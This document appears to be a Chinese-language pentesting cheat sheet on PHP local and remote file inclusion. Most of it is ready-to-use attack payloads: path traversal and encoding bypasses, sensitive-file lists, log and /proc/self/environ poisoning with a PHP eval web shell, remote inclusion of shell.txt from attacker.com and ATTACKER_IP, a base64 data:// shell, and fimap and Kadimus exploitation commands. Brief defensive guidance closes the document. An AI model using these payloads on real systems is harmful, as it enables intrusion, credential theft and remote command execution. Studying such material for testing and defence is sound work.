文件包含漏洞

漏洞概述

文件包含漏洞(File Inclusion)攻击者通过控制文件路径参数,包含本地或远程文件执行。

分类:

  • LFI (Local File Inclusion) - 本地文件包含
  • RFI (Remote File Inclusion) - 远程文件包含

危害等级: ⭐⭐⭐⭐⭐


漏洞原理

// 不安全代码
$file = $_GET['page'];
include($file);

// 攻击者输入
?page=/etc/passwd
?page=http://attacker.com/shell.txt

漏洞检测

基础测试

# LFI 测试
?page=/etc/passwd
?page=../../../../etc/passwd
?page=..%2f..%2f..%2f..%2fetc%2fpasswd

# RFI 测试
?page=http://attacker.com/shell.txt
?page=https://attacker.com/shell.txt

路径遍历

# Linux
../../../../etc/passwd
....//....//....//etc/passwd

# Windows
....\....\....\windows\win.ini
..%5c..%5c..%5cwindows\win.ini

Payload 大全

LFI 读取文件

# Linux 敏感文件
/etc/passwd
/etc/shadow
/etc/hosts
/proc/version
/proc/self/environ
/proc/self/cmdline

# 日志文件
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/nginx/access.log
/var/log/auth.log

# Windows 敏感文件
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

LFI 执行日志

# 访问带 Payload 的 URL
curl -A "<?php @eval(\$_POST['cmd']);?>" http://target.com/

# 包含日志文件
?page=/var/log/apache/access.log

# 执行命令
?cmd=whoami

RFI 执行代码

# 创建恶意文件
echo "<?php @eval(\$_POST['cmd']);?>" > shell.txt

# 启动 HTTP 服务器
python3 -m http.server 80

# 包含远程文件
?page=http://ATTACKER_IP/shell.txt

# 执行命令
?cmd=whoami

绕过技巧

过滤器绕过

// str_replace 绕过
?page=....//....//etc/passwd
// 替换 ../ 为空后变成 ../../

// 正则绕过
?page=..../....//etc/passwd
?page=..%2f..%2f..%2fetc/passwd

编码绕过

# URL 编码
%2e%2e%2f%2e%2e%2fetc%2fpasswd

# 双重 URL 编码
%252e%252e%252f

# Base64 编码
php://filter/convert.base64-encode/resource=/etc/passwd

# 十六进制编码
\x2e\x2e\x2f

协议利用

# php://filter
?page=php://filter/convert.base64-encode/resource=index.php

# php://input (POST 数据)
?page=php://input
POST: <?php @eval($_POST['cmd']);?>

# data:// (PHP 5+)
?page=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

# zip:// (需要上传 zip 文件)
?page=zip://uploads/shell.zip%23shell.php

# phar:// (PHP 5.3+)
?page=phar://uploads/shell.phar/shell.php

# expect:// (需要开启扩展)
?page=expect://whoami

实战案例

案例 1: 基础 LFI

# 漏洞代码
include("pages/" . $_GET['page']);

# Payload
?page=../../etc/passwd

案例 2: 日志文件包含

# 1. 写入 Payload 到日志
curl -H "User-Agent: <?php @eval(\$_POST['cmd']);?>" http://target.com/

# 2. 包含日志文件
?page=/var/log/apache/access.log

# 3. 执行命令
?cmd=whoami

案例 3: Session 文件包含

# 1. 获取 Session ID
curl -c cookies.txt http://target.com/

# 2. 包含 Session 文件
?page=/var/lib/php/sess_<SESSION_ID>

# 3. 执行命令(需要提前在 Session 中写入)

案例 4: /proc/self/environ

# 1. 访问包含 User-Agent 的页面
?page=/proc/self/environ

# 2. 修改 User-Agent 为 Payload
curl -H "User-Agent: <?php @eval(\$_POST['cmd']);?>" http://target.com/?page=/proc/self/environ

# 3. 执行命令

工具检测

fimap

# 自动检测 LFI/RFI
fimap -u "http://target.com/page.php?page="

# 自动利用
fimap -u "http://target.com/page.php?page=" -A

# 扫描本地文件
fimap -m local -u "http://target.com/page.php?page="

Kadimus

# LFI 扫描
kadimus -u http://target.com/page.php?page=

# 交互式 shell
kadimus -u http://target.com/page.php?page= -s

防御建议

避免动态包含

// 不安全
include($_GET['page']);

// 安全 - 使用白名单
$pages = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $pages)) {
    include("$page.php");
} else {
    die('Invalid page');
}

禁用危险配置

; php.ini
allow_url_include = Off
allow_url_fopen = Off
display_errors = Off

路径验证

// 验证路径
$base_dir = '/var/www/html/pages/';
$file = basename($_GET['page']);
$path = realpath($base_dir . $file);
if (strpos($path, $base_dir) === 0) {
    include($path);
}

禁用危险协议

// 禁用 php://filter 等
if (preg_match('/^(php|data|expect|phar):\/\//i', $input)) {
    die('Invalid protocol');
}

参考链接